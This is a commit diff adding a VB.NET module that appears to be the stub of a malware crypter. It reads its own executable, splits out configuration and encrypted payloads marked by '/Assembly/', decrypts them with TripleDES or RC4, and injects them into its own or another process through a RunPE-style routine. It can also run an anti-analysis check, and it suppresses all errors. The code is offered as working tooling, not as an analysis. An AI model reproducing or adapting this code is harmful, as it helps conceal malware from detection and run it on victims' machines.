initial commit

2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
@@ -0,0 +1,101 @@
+Imports System.Windows.Forms
+Imports System.Text
+
+Module Mymod
+    Dim res As String
+
+    Public Function ReplacedrandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
+        Dim Replacedrandom As New Random()
+        Return Replacedrandom.Next(min, max)
+    End Function
+
+    Public Function ReplacedrandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
+        Dim Replacedbuilder As New StringBuilder()
+        Dim Replacedrandom As New Random()
+        Dim ch As Char
+        Dim i As Integer
+        For i = 0 To size - 1
+            ch = Convert.ToChar(Convert.ToInt32((26 * Replacedrandom.NextDouble() + 65)))
+            Replacedbuilder.Append(ch)
+        Next i
+        If lowerCase Then
+            Return Replacedbuilder.ToString().ToLower()
+        End If
+        Return Replacedbuilder.ToString()
+    End Function
+
+    Public Function GetReplacedrandom() As String
+        Dim Replacedbuilder As New StringBuilder()
+        Replacedbuilder.Append(ReplacedrandomString(4, True))
+        Replacedbuilder.Append(ReplacedrandomNumber(1000, 9999))
+        Replacedbuilder.Append(ReplacedrandomString(2, False))
+        Return Replacedbuilder.ToString()
+    End Function
+
+    Sub Main()
+        Dim Cuttkey As String = "/Assembly/"
+        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
+        res = Space(LOF(1))
+        FileGet(1, res)
+        FileClose(1)
+
+        Dim Cutter() As String
+        Cutter = Split(res, Cuttkey)
+
+        Dim key As String = Cutter(2)
+        Dim entype As String = Cutter(3)
+        Dim antyw As String = Cutter(4)
+        Dim processZ As String = Cutter(5)
+        Dim mlt As String = Cutter(8)
+        If processZ = "own" Then
+            processZ = Process.GetCurrentProcess().MainModule.FileName
+        End If
+
+        If antyw = "true" Then
+            ant.mofo()
+        End If
+
+        If Cutter(6) = "yes" Then
+            If entype = "tripleDES" Then
+                Dim Str As String = _3des.a(Cutter(7), key, True)
+                Dim ByteArray() As Byte
+                ByteArray = Encoding.Default.GetBytes(Str)
+                Try
+                    rp.MakeIt(ByteArray, processZ)
+                Catch ex As Exception
+
+                End Try
+            ElseIf entype = "rc4" Then
+                Dim Str As String = _4cr.enc(Cutter(7), key)
+                Dim ByteArray() As Byte
+                ByteArray = Encoding.Default.GetBytes(Str)
+                Try
+                    rp.MakeIt(ByteArray, processZ)
+                Catch ex As Exception
+
+                End Try
+            End If
+        End If
+
+        If entype = "tripleDES" Then
+            Dim Str As String = _3des.a(Cutter(1), key, True)
+            Dim ByteArray() As Byte
+            ByteArray = Encoding.Default.GetBytes(Str)
+            Try
+                rp.MakeIt(ByteArray, processZ)
+            Catch ex As Exception
+
+            End Try
+        ElseIf entype = "rc4" Then
+            Dim Str As String = _4cr.enc(Cutter(1), key)
+            Dim ByteArray() As Byte
+            ByteArray = Encoding.Default.GetBytes(Str)
+            Try
+                rp.MakeIt(ByteArray, processZ)
+            Catch ex As Exception
+
+            End Try
+        End If
+        End
+    End Sub
+End Module